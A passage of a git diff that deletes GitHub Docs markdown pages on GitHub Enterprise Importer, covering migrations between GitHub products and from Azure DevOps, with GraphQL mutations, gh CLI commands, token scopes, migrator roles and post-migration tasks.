[AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#about-the-migrator-role). - -{% api %} - -## Step 0: Get ready to use the {% data variables.product.prodname_dotcom %} GraphQL API - -{% data reusables.enterprise-migration-tool.migration-query-method %} - -## Step 1: Get the `ownerId` for your migration destination - -{% data reusables.enterprise-migration-tool.get-destination-ownerId-ec %} - -{% data reusables.enterprise-migration-tool.migration-destination-query %} - -## Step 2: Identify where you're migrating from - -{% data reusables.enterprise-migration-tool.identify-migration-source-intro %} - -Your migration source is an organization on {% data variables.product.prodname_dotcom_the_website %}. - -### `createMigrationSource` mutation - -```graphql -mutation createMigrationSource($name: String!, $ownerId: ID!) { - createMigrationSource(input: {name: $name, url: "https://github.com", ownerId: $ownerId, type: GITHUB_ARCHIVE}) { - migrationSource { - id - name - url - type - } - } -} -``` - -{% data reusables.enterprise-migration-tool.type-note-github-archive %} - -{% data reusables.enterprise-migration-tool.createMigrationSource-table-ec %} - -### `createMigrationSource` response - -```json -{ - "data": { - "createMigrationSource": { - "migrationSource": { - "id": "MS_kgDaACQxYmYxOWU4Yi0wNzZmLTQ3NTMtOTdkZC1hNGUzZmYxN2U2YzA", - "name": "GitHub.com Source", - "url": "https://github.com", - "type": "GITHUB_SOURCE" - } - } - } -} -``` - -In this example, `MS_kgDaACQxYmYxOWU4Yi0wNzZmLTQ3NTMtOTdkZC1hNGUzZmYxN2U2YzA` is the migration source ID, which we'll use in the next step. - -## Step 3: Start your repository migration - -{% data reusables.enterprise-migration-tool.start-repository-migration-ec %} - -### `startRepositoryMigration` mutation - -```graphql -mutation startRepositoryMigration ( - $sourceId: ID!, - $ownerId: ID!, - $sourceRepositoryUrl: URI!, - $repositoryName: String!, - $continueOnError: Boolean!, - $accessToken: String!, - $githubPat: String!, - $targetRepoVisibility: String! -){ - startRepositoryMigration( input: { - sourceId: $sourceId, - ownerId: $ownerId, - repositoryName: $repositoryName, - continueOnError: $continueOnError, - accessToken: $accessToken, - githubPat: $githubPat, - targetRepoVisibility: $targetRepoVisibility - sourceRepositoryUrl: $sourceRepositoryUrl, - }) { - repositoryMigration { - id - migrationSource { - id - name - type - } - sourceUrl - } - } -} -``` - -{% data reusables.enterprise-migration-tool.startRepositoryMigration-table-ec %} -| `sourceRepositoryUrl` | The URL of your source repository, using the format `https://github.com/{organization}/{repository}`. - -For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#required-scopes-for-personal-access-tokens). - -{% data reusables.enterprise-migration-tool.next-check-status %} - -## Step 4: Check the status of your migration - -{% data reusables.enterprise-migration-tool.check-migration %} - -## Step 5: Validate your migration and check the error log - -{% data reusables.enterprise-migration-tool.validate-migration-log %} - -{% endapi %} - -{% cli %} - -## Step 1: Install the {% data variables.product.prodname_gei_cli %} - -{% data reusables.enterprise-migration-tool.install-gei-extension-intro %} - -{% data reusables.enterprise-migration-tool.gei-binary %} - -{% data reusables.enterprise-migration-tool.install-github-cli %} -{% data reusables.enterprise-migration-tool.install-gei-extension %} - -{% data reusables.enterprise-migration-tool.gei-help-flag %} - -## Step 2: Update the {% data variables.product.prodname_gei_cli %} - -{% data reusables.enterprise-migration-tool.update-gei-cli %} - -## Step 3: Set environment variables - -{% data reusables.enterprise-migration-tool.set-env-variables-gei %} - -{% data reusables.enterprise-migration-tool.create-pats %} -{% data reusables.enterprise-migration-tool.env-variables-gei %} - -## Step 4: Generate a migration script - -{% data reusables.enterprise-migration-tool.generate-migration-script %} - -If you want to migrate a single repository, skip to the next step. - -### Generating a migration script - -{% data reusables.enterprise-migration-tool.gh-gei-generate-script %} - -```shell copy -gh gei generate-script --github-source-org SOURCE --github-target-org DESTINATION --output FILENAME -``` - -{% data reusables.enterprise-migration-tool.gei-binary-generate-script %} - -#### Placeholders - -{% data reusables.enterprise-migration-tool.generate-script-table %} - -#### Additional arguments - -| Argument | Description | -| -------- | ----------- | -| `--target-api-url TARGET-API-URL` | {% data reusables.enterprise-migration-tool.add-target-api-url %} | -| `--download-migration-logs` | Download the migration log for each migrated repository. For more information about migration logs, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer#downloading-all-migration-logs-for-an-organization). | - -### Reviewing the migration script - -{% data reusables.enterprise-migration-tool.review-migration-script %} - -{% data reusables.enterprise-migration-tool.skip-releases %} - -{% data reusables.enterprise-migration-tool.gei-binary-generate-script %} - -## Step 5: Migrate repositories - -{% data reusables.enterprise-migration-tool.migrate-repos-gei %} - -### Migrate multiple repositories - -{% data reusables.enterprise-migration-tool.migrate-multiple-repos %} - -### Migrate a single repository - -{% data reusables.enterprise-migration-tool.gei-migrate-repo %} - -```shell copy -gh gei migrate-repo --github-source-org SOURCE --source-repo CURRENT-NAME --github-target-org DESTINATION --target-repo NEW-NAME -``` - -#### Placeholders - -{% data reusables.enterprise-migration-tool.migrate-repo-table-ec %} - -#### Additional arguments - -| Argument | Description | -| -------- | ----------- | -| `--target-api-url TARGET-API-URL` | {% data reusables.enterprise-migration-tool.add-target-api-url %} | -| `--skip-releases` | {% data reusables.enterprise-migration-tool.skip-releases %} | -| `--target-repo-visibility TARGET-VISIBILITY` | {% data reusables.enterprise-migration-tool.set-repository-visibility %} | - -#### Aborting the migration - -{% data reusables.enterprise-migration-tool.abort-migration %} - -```shell copy -gh gei abort-migration --migration-id MIGRATION-ID -``` - -## Step 6: Validate your migration and check the error log - -{% data reusables.enterprise-migration-tool.validate-migration-logs %} - -{% endcli %} diff --git a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/overview-of-a-migration-between-github-products.md b/content/migrations/using-github-enterprise-importer/migrating-between-github-products/overview-of-a-migration-between-github-products.md deleted file mode 100644 index 6e2c0a22cf6d..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/overview-of-a-migration-between-github-products.md +++ /dev/null @@ -1,256 +0,0 @@ ---- -title: Overview of a migration between GitHub products -shortTitle: Overview of a migration -intro: 'Learn how to complete the entire process of migrating from one {% data variables.product.company_short %} product to another with {% data variables.product.prodname_importer_proper_name %}, from planning to implementation to completing follow-up tasks.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer/understanding-github-enterprise-importer/migrating-between-github-products-with-github-enterprise-importer - - /early-access/enterprise-importer/understanding-github-enterprise-importer/migrating-between-github-products-with-github-enterprise-importer - - /migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/migrating-between-github-products-with-github-enterprise-importer ---- - -## Overview - -With {% data variables.product.prodname_importer_proper_name %}, you can migrate to {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer). - -If you're migrating between {% data variables.product.company_short %} products, such as from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}, you can use this guide to plan and implement your migration and complete follow-up tasks. For a full list of supported migration paths, see [AUTOTITLE](/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer#supported-migration-paths). - -## Planning your migration - -{% data reusables.enterprise-migration-tool.planning-intro %} - -* [Do we want to migrate by organization or by repository?](#do-we-want-to-migrate-by-organization-or-by-repository) -* [How soon do we need to complete the migration?](#how-soon-do-we-need-to-complete-the-migration) -* [Do we understand what will be migrated?](#do-we-understand-what-will-be-migrated) -* [Who will run the migration?](#who-will-run-the-migration) -* [Do we want to maintain a similar organization structure after migrating?](#do-we-want-to-maintain-a-similar-organization-structure-after-migrating) - -### Do we want to migrate by organization or by repository? - -First, if your migration source is {% data variables.product.prodname_dotcom_the_website %}, decide whether you want to migrate on an organization-by-organization basis or on a repository-by-repository basis. - -> [!NOTE] -> If you're migrating from {% data variables.product.prodname_ghe_server %}, you can only migrate repositories. - -If you choose repository-by-repository migrations, only repository-level data is migrated. If you pick the organization-by-organization migration strategy, selected organization-level data is also migrated, including teams and their access to repositories. - -However, when you migrate an organization, all repositories owned by the source organization are migrated at the same time. You cannot break the repositories into batches or skip migrating any of the organization's repositories. If you have a large number of repositories, or if you can't tolerate downtime for all your repositories at the same time, you might need to run repository migrations instead. - -Additionally, an organization migration creates a new organization in the destination enterprise account. If you want to migrate repositories into an existing organization, you'll need to run repository migrations instead. - -Finally, you must be an enterprise owner of the destination enterprise account to migrate organizations. If you want to task someone who is not an enterprise owner perform your migrations, they will need to run repository migrations. - -### How soon do we need to complete the migration? - -{% data reusables.enterprise-migration-tool.timeline-intro %} - -* Number of repositories -* Number of pull requests -* Number of issues -* Number of users -* Usage of projects and wikis - -Migration timing is largely based on the number of pull requests and issues in a repository. If you want to migrate 1,000 repositories, and each repository has 100 pull requests and issues on average, and only 50 users have contributed to the repositories, your migration will likely be very quick. If you want to migrate only 100 repositories, but the repositories each have 75,000 pull requests and issues on average, and 5,000 users, the migration will take longer and require much more planning and testing. - -{% data reusables.enterprise-migration-tool.timeline-tasks %} - -### Do we understand what will be migrated? - -Ensure that you and your stakeholders understand what data can be migrated by {% data variables.product.prodname_importer_proper_name %}. - -1. Review the data that's migrated for your migration source. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products). -1. Make a list of any data that you'll need to manually migrate or recreate. - -### Who will run the migration? - -Decide who will run your migrations, and ensure that this person has the required access. Your options will depend on whether you're migrating by organization or by repository. - -#### Deciding who will run organization migrations - -To migrate an organization, you must be an organization owner for the source organization, or an organization owner must grant you the migrator role for that organization. - -Additionally, you must be an enterprise owner on the destination enterprise account. You cannot grant the migrator role for enterprise accounts. - -1. Confirm that the person who will run your migrations is an enterprise owner of the destination enterprise account. -1. If that person is not an organization owner for the source organization, grant them the migrator role for the organization. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#about-the-migrator-role). -{% data reusables.enterprise-migration-tool.confirm-migrator-has-correct-pats %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#required-scopes-for-personal-access-tokens). - -#### Deciding who will run repository migrations - -To migrate a repository, you must be an organization owner for both the source organization and the destination organization, or an organization owner must grant you the migrator role for each organization where you're not an owner. - -1. Decide whether you want an organization owner to perform your migrations, or whether you need to grant the migrator role to someone else. -{% data reusables.enterprise-migration-tool.grant-migrator-tasks %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#about-the-migrator-role). - - > [!NOTE] - > Remember to grant the migrator role for both the source organization and the destination organization. - -{% data reusables.enterprise-migration-tool.confirm-migrator-has-correct-pats %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#required-scopes-for-personal-access-tokens). - -### Do we want to maintain a similar organization structure after migrating? - -Next, consider whether you want to maintain a similar organizational structural after migrating. If you want to break your migration effort into batches, this will help you determine your batches. If you intend to keep a one-to-one correspondence between organizations in your source and destination, then we recommend batching migrations by organization. This is the simplest approach, especially if you're migrating from {% data variables.product.prodname_dotcom_the_website %}, because you can migrate an entire organization with one command. If you're migrating from another source, the {% data variables.product.prodname_cli %} can generate a script to migrate all repositories in a single organization. - -If you intend to change your organizational structure, consider other batching factors. You can batch repositories owned by similar teams or a business division, or you can batch by the destination organization. We recommend batching by teams if possible. If you batch by business division or destination organizations, you'll increase the number of stakeholders involved, which can lead to shorter windows of time for your migrations. - -Even if you change your organizational structure, you can still prepare a script for your migration. Use the {% data variables.product.prodname_cli %} command, then move the lines for each repository into different scripts as needed. - -> [!NOTE] -> You can run multiple batches simultaneously. For example, if you're batching by teams, you could run the migrations for multiple teams in the same time window. - -{% data reusables.enterprise-migration-tool.organization-structure-tasks %} - -## Running your migrations - -{% data reusables.enterprise-migration-tool.running-your-migrations %} - -For repository migrations, we recommend creating a test organization to use as a destination for your trial migrations. {% data reusables.enterprise-migration-tool.about-test-organizations %} - -1. If you're running a repository migration, create a test organization for your trial migrations. -1. If your source organization uses IP allow lists, configure the list to allow access by {% data variables.product.prodname_importer_proper_name %}. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#configuring-ip-allow-lists-for-migrations). -{% data reusables.enterprise-migration-tool.trial-migrations-tasks %} -{% data reusables.enterprise-migration-tool.configure-destination-ip-allow-list %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#configuring-ip-allow-lists-for-migrations). -1. If you're running a repository migration and you want to migrate settings for {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %}, enable {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %} for the destination organization. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). -1. Run your production migrations. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer) or [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-organizations-with-github-enterprise-importer). -{% data reusables.enterprise-migration-tool.delete-test-organization %} - -## Completing follow-up tasks - -{% data reusables.enterprise-migration-tool.follow-up-tasks-intro %} - -* [Checking the migration status](#checking-the-migration-status) -* [Reviewing the migration log](#reviewing-the-migration-log) -* [Migrating {% data variables.large_files.product_name_short %} objects](#migrating-git-lfs-objects) -* [Setting repository visibility](#setting-repository-visibility) -* [Configuring {% data variables.product.prodname_actions %}](#configuring-github-actions) -* [Configuring IP allow lists](#configuring-ip-allow-lists) -* [Managing {% data variables.product.prodname_GHAS %} features](#managing-github-advanced-security-features) -* [Enabling webhooks](#enabling-webhooks) -* [Reinstalling {% data variables.product.prodname_github_apps %}](#reinstalling-github-apps) -* [Recreating teams](#recreating-teams) -* [Reclaiming mannequins](#reclaiming-mannequins) - -### Checking the migration status - -{% data reusables.enterprise-migration-tool.checking-the-migration-status %} - -### Reviewing the migration log - -{% data reusables.enterprise-migration-tool.reviewing-the-migration-log %} - -### Migrating {% data variables.large_files.product_name_short %} objects - -{% data variables.product.prodname_importer_proper_name %} does not migrate {% data variables.large_files.product_name_short %} objects. If the source repository uses {% data variables.large_files.product_name_short %}, you can manually push {% data variables.large_files.product_name_short %} objects to the migrated repository locally. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/duplicating-a-repository#mirroring-a-repository-that-contains-git-large-file-storage-objects). - -### Setting repository visibility - -{% data reusables.enterprise-migration-tool.setting-repository-visibility %} - -### Configuring {% data variables.product.prodname_actions %} - -If you use {% data variables.product.prodname_actions %} in a repository, your workflows are automatically migrated as part of the Git repository. - -During the migration process, {% data variables.product.prodname_actions %} is disabled for all migrated repositories to avoid workflows being accidentally triggered, but {% data variables.product.prodname_actions %} is re-enabled when the migration finishes. - -If you were using {% data variables.actions.hosted_runner %}s, self-hosted runners, or encrypted secrets, you must reconfigure them. - -> [!NOTE] -> Workflow run history for {% data variables.product.prodname_actions %} is not included in migrations. - -1. If you use self-hosted runners, reconfigure your runners. - - * Add runners to the appropriate repository, organization, or enterprise. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - * To use runners at the organization or enterprise level, update your workflows. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow). -1. If you use {% data variables.actions.hosted_runner %}s, reconfigure your runners. - - * Configure runner groups to control access to your runners. For more information, see [AUTOTITLE]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/actions/using-github-hosted-runners/controlling-access-to-larger-runners). - * Set up your {% data variables.actions.hosted_runner %}s. For more information, see [AUTOTITLE]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/actions/using-github-hosted-runners/managing-larger-runners). - * Update your workflows to point to your runners. For more information, see [AUTOTITLE]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/actions/using-github-hosted-runners/running-jobs-on-larger-runners). -1. Re-add any encrypted secrets. - - * To use the browser, see [AUTOTITLE](/actions/security-guides/encrypted-secrets#creating-encrypted-secrets-for-a-repository). - * To use {% data variables.product.prodname_cli %}, see [`gh secret`](https://cli.github.com/manual/gh_secret) in the {% data variables.product.prodname_cli %} documentation. -1. Reconfigure environments. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/using-environments-for-deployment). - -### Configuring IP allow lists - -If you added the IP ranges for {% data variables.product.prodname_importer_proper_name %} to the IP allow lists for your source or destination organizations, you can remove those entries. {% data reusables.enterprise-migration-tool.reenable-idp-ip-restrictions %} - -For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#configuring-ip-allow-lists-for-migrations). - -### Managing {% data variables.product.prodname_GHAS %} features - -If you enabled {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %} for the destination organization before migrating repositories, the settings for individual features were migrated. If not, you'll need to re-enable individual features after the migration. For more information, see [AUTOTITLE](/enterprise-cloud@latest/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). - -There are additional post-migration steps for each feature. - -#### {% data variables.product.prodname_secret_scanning_caps %} - -When secret scanning is enabled for the destination repository, a scan of the entire repository will be performed. After the scan is complete, all alerts will be populated, but without remediation states. - -You can use the REST API to update the alerts to mirror any remediations in the source repository. For more information, see [AUTOTITLE](/enterprise-cloud@latest/rest/secret-scanning). - -The user associated with these updated remediations will be the user who owns the {% data variables.product.pat_generic %} that was used for the API calls, not the user who remediated the alert in the source repository, and the date associated with the remediation will be the date of the API call, not the date the alert was remediated in the source repository. - -#### {% data variables.product.prodname_code_scanning_caps %} - -{% data variables.product.prodname_code_scanning_caps %} alerts are not migrated by {% data variables.product.prodname_importer_proper_name %}. However, the alerts are available as SARIF data in the source repository. You can use the REST API to upload this data to the destination repository. For more information, see [AUTOTITLE](/enterprise-cloud@latest/rest/code-scanning). - -{% data variables.product.prodname_code_scanning_caps %} alerts that are populated this way will differ from the original alerts in the source repository. - -* Alerts will only include the detection and the latest state of the alert, not the entire timeline from the source repository. -* Alerts will only be identified as `open` or `fixed`. Other remediation states, such as `dismissed` and `reopened`, will be lost. -* The dates for all events on the alert will be the date of the API call, not the dates when the events originally occurred on the source repository. -* All actors, such as the alert creator, will change to the owner of the {% data variables.product.pat_generic %} used for the API call. - -#### {% data variables.product.prodname_dependabot_alerts %} - -When {% data variables.product.prodname_dependabot_alerts %} and the dependency graph are enabled, {% data variables.product.prodname_dependabot_alerts %} will be rebuilt from the current state of the default branch. Remediation states of these alerts are not migrated, and any previous alerts are also not migrated. - -You'll need to re-add any encrypted secrets for {% data variables.product.prodname_dependabot %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot). - -### Reconfiguring features for {% data variables.enterprise.data_residency_short %} - -If you have migrated from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.enterprise.data_residency %}, some features work differently, and some features will require different or additional configuration. See [AUTOTITLE](/enterprise-cloud@latest/admin/data-residency/feature-overview-for-github-enterprise-cloud-with-data-residency). - -### Enabling webhooks - -All active webhooks in the source repository are migrated. However, the migrated webhooks will be disabled by default. You can re-enable these webhooks in the repository settings. - -1. Navigate to the settings for the migrated repository. -1. In the "Code and automation" section of the sidebar, click **Webhooks**. -1. To the right of the webhook you want to enable, click **Edit**. -1. If you were using a secret token to secure the webhook, under "Secret", re-add the secret. -1. At the bottom of the page, select **Active**. -1. Click **Update webhook**. - -### Reinstalling {% data variables.product.prodname_github_apps %} - -If you had any {% data variables.product.prodname_github_apps %} installed on the source repository, you'll need to reinstall them on the migrated repository. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/installing-github-apps). - -### Recreating teams - -If you migrated on an organization-by-organization basis, you only need to reinstate team membership. If you migrated on a repository-by-repository basis, you will need to recreate teams, give those teams access to repositories, and then reinstate team membership. - -#### Recreating teams for organization migrations - -Teams and their repository access are migrated as part of an organization migration, but team membership is not. After your migration, you must add users to the migrated teams. - -We highly recommend using team synchronization to manage team membership through your identity provider (IdP). For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users) or, for enterprises that do not use {% data variables.product.prodname_emus %}, [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise). - -Otherwise, you can manually add members to your organization, and then add organization members to teams. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team). - -#### Recreating teams for repository migrations - -Teams are not migrated as part of a repository migration. You must manually recreate teams and give each team access to the repository. - -1. Re-create teams. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team). -1. Add organization members to teams. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team). -1. Give each team access to the repository. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). - -### Reclaiming mannequins - -{% data reusables.enterprise-migration-tool.reclaiming-mannequins %} diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/about-migrations-from-azure-devops-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/about-migrations-from-azure-devops-to-github-enterprise-cloud.md deleted file mode 100644 index a5b2e2d16ca3..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/about-migrations-from-azure-devops-to-github-enterprise-cloud.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: About migrations from Azure DevOps to GitHub Enterprise Cloud -shortTitle: About migrations -intro: 'Learn which data {% data variables.product.prodname_importer_proper_name %} can migrate.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About migrations from Azure DevOps - -You can use {% data variables.product.prodname_importer_proper_name %} to migrate repositories from Azure DevOps to {% data variables.product.prodname_ghe_cloud %} ({% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}). - -You can only use {% data variables.product.prodname_importer_proper_name %} to migrate from Azure DevOps Cloud, not from Azure DevOps Server. If you currently use Azure DevOps Server and want to migrate to {% data variables.product.prodname_dotcom %}, you can migrate to Azure DevOps Cloud first. For more information, see [Migrate to Azure DevOps](https://azure.microsoft.com/en-us/services/devops/migrate/) on the Azure site. - -## Data that is migrated - -We currently only support migrating the following repository data from Azure DevOps to {% data variables.product.prodname_ghe_cloud %}. - -* Git source (including commit history) -* Pull requests -* User history for pull requests -* Work item links on pull requests -* Attachments on pull requests -* Branch policies for the repository (user-scoped branch policies and cross-repo branch policies are not included) - -If you want to migrate Azure Pipelines to {% data variables.product.prodname_actions %}, contact your {% data variables.product.prodname_dotcom %} account manager. - -## Limitations on migrated data - -{% data reusables.enterprise-migration-tool.limitations-of-migrated-data %} - -## Getting started - -Before you migrate from Azure DevOps, you should plan out how you will run your migration. Before migrating any data, you will need to choose someone to run the migration. You must grant that person the necessary access for both the source and the destination of the migration. We also recommend you run a trial migration first. - -For an overview of the migration process from beginning to end, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/overview-of-a-migration-from-azure-devops-to-github-enterprise-cloud). diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/index.md b/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/index.md deleted file mode 100644 index 5ed38f1d88b9..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Migrating from Azure DevOps to GitHub Enterprise Cloud -shortTitle: Migrate from Azure DevOps -intro: 'You can migrate repositories to {% data variables.product.prodname_dotcom %} with {% data variables.product.prodname_importer_proper_name %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-migrations-from-azure-devops-to-github-enterprise-cloud - - /overview-of-a-migration-from-azure-devops-to-github-enterprise-cloud - - /managing-access-for-a-migration-from-azure-devops - - /migrating-repositories-from-azure-devops-to-github-enterprise-cloud ---- - diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops.md b/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops.md deleted file mode 100644 index 183d2bf2975d..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Managing access for a migration from Azure DevOps -shortTitle: Manage access -intro: 'Before you use {% data variables.product.prodname_importer_proper_name %}, make sure you have appropriate access to both the source and destination of your migration.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About required access for {% data variables.product.prodname_importer_proper_name %} - -{% data reusables.enterprise-migration-tool.required-access-intro %} - -To migrate a repository from Azure DevOps to GitHub, you need sufficient access to both the source (an organization on Azure DevOps) and the destination (an organization on {% data variables.product.prodname_dotcom %}). To have sufficient access, you'll need all of the following things. -* A required role in the destination organization on {% data variables.product.prodname_dotcom %} -* A {% data variables.product.pat_generic %} that can access the destination organization on {% data variables.product.prodname_dotcom %} - * The {% data variables.product.pat_generic %} must have all the required scopes, which depend on your role and the task you want to complete. - * If the destination organization uses SAML single sign-on for {% data variables.product.prodname_dotcom %}, you must authorize the {% data variables.product.pat_generic %} for SSO. -* A {% data variables.product.pat_generic %} that can access the source organization on Azure DevOps - -Additionally, if you use IP allow lists with the source or destination, you may need to configure the allow lists to allow access by {% data variables.product.prodname_importer_proper_name %}. - -## About the migrator role - -{% data reusables.enterprise-migration-tool.about-the-migrator-role %} - - - -## Required roles for {% data variables.product.company_short %} - -For the destination organization on {% data variables.product.prodname_dotcom %}, different roles are required for different tasks. - -{% data reusables.enterprise-migration-tool.gei-required-roles %} - -## Required scopes for {% data variables.product.pat_generic %}s - -To run a migration, you need one {% data variables.product.pat_generic %} that can access the destination organization on {% data variables.product.prodname_dotcom %}, and another {% data variables.product.pat_generic %} that can access the source organization on Azure DevOps. - -For other tasks, such as downloading a migration log, you only need one {% data variables.product.pat_generic %} that can access the destination organization on {% data variables.product.prodname_dotcom %}. - -### {% data variables.product.pat_generic_caps %}s for {% data variables.product.prodname_dotcom %} - -{% data reusables.enterprise-migration-tool.github-pat-required-scopes %} - -### {% data variables.product.pat_generic_caps %}s for Azure DevOps - -Your Azure DevOps {% data variables.product.pat_generic %} must have `work item (read)`, `code (read)`, and `identity (read)` scopes. - -If you want to use the `--rewire-pipelines` flag when generating a migration script, you will also need `Build (Read)` scope. To use the `inventory-report` and `integrate-boards` flags, you will need to grant full access to your {% data variables.product.pat_generic %}. - -If you want to migrate from multiple organizations, allow the {% data variables.product.pat_generic %} to access all accessible organizations. For more information, see [Use {% data variables.product.pat_generic %}s](https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops&tabs=preview-page#create-a-pat) in Microsoft Docs. - -## Granting the migrator role - -To allow someone other than an organization owner to run a migration or download migration logs, you can grant the migrator role to a user or team. For more information, see [About the migrator role](#about-the-migrator-role). - -You can grant the migrator role using either the {% data variables.product.prodname_ado2gh_cli %} or the GraphQL API. - -* [Granting the migrator role with the {% data variables.product.prodname_ado2gh_cli_short %}](#granting-the-migrator-role-with-the-ado2gh-extension) -* [Granting the migrator role with the GraphQL API](#granting-the-migrator-role-with-the-graphql-api) - -### Granting the migrator role with the {% data variables.product.prodname_ado2gh_cli_short %} - -To grant the migrator role using the CLI, you must have installed the {% data variables.product.prodname_ado2gh_cli %}. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/migrating-repositories-from-azure-devops-to-github-enterprise-cloud#step-1-install-the-ado2gh-extension-of-the-github-cli). - -1. On {% data variables.product.prodname_dotcom %}, create and record a {% data variables.product.pat_generic %} that meets all the requirements for granting the migrator role. For more information, see [Creating a {% data variables.product.pat_generic %} for {% data variables.product.prodname_dotcom %}](#creating-a-personal-access-token-for-github). -{% data reusables.enterprise-migration-tool.grant-migrator-role-pat %} -1. Use the `gh ado2gh grant-migrator-role` command, replacing ORGANIZATION with the organization you want to grant the migrator role for, ACTOR with the user or team name, and TYPE with `USER` or `TEAM`. - - ```shell copy - gh ado2gh grant-migrator-role --github-org ORGANIZATION --actor ACTOR --actor-type TYPE - ``` - - {% data reusables.enterprise-migration-tool.grant-migrator-role-ghecom %} - -### Granting the migrator role with the GraphQL API - -{% data reusables.enterprise-migration-tool.grant-migrator-role-graphql %} - -## Creating a {% data variables.product.pat_generic %} for {% data variables.product.prodname_dotcom %} - -{% data reusables.enterprise-migration-tool.creating-a-pat-steps %} - -## Configuring IP allow lists for migrations - -{% data reusables.enterprise-migration-tool.configuring-ip-allow-lists %} - -### IP ranges for {% data variables.product.prodname_dotcom_the_website %} - -{% data reusables.enterprise-migration-tool.identifying-githubs-ip-ranges %} - -### IP ranges for {% data variables.enterprise.data_residency_site %} - -{% data reusables.enterprise-migration-tool.ip-ranges-ghecom %} - -## Further reading - -* 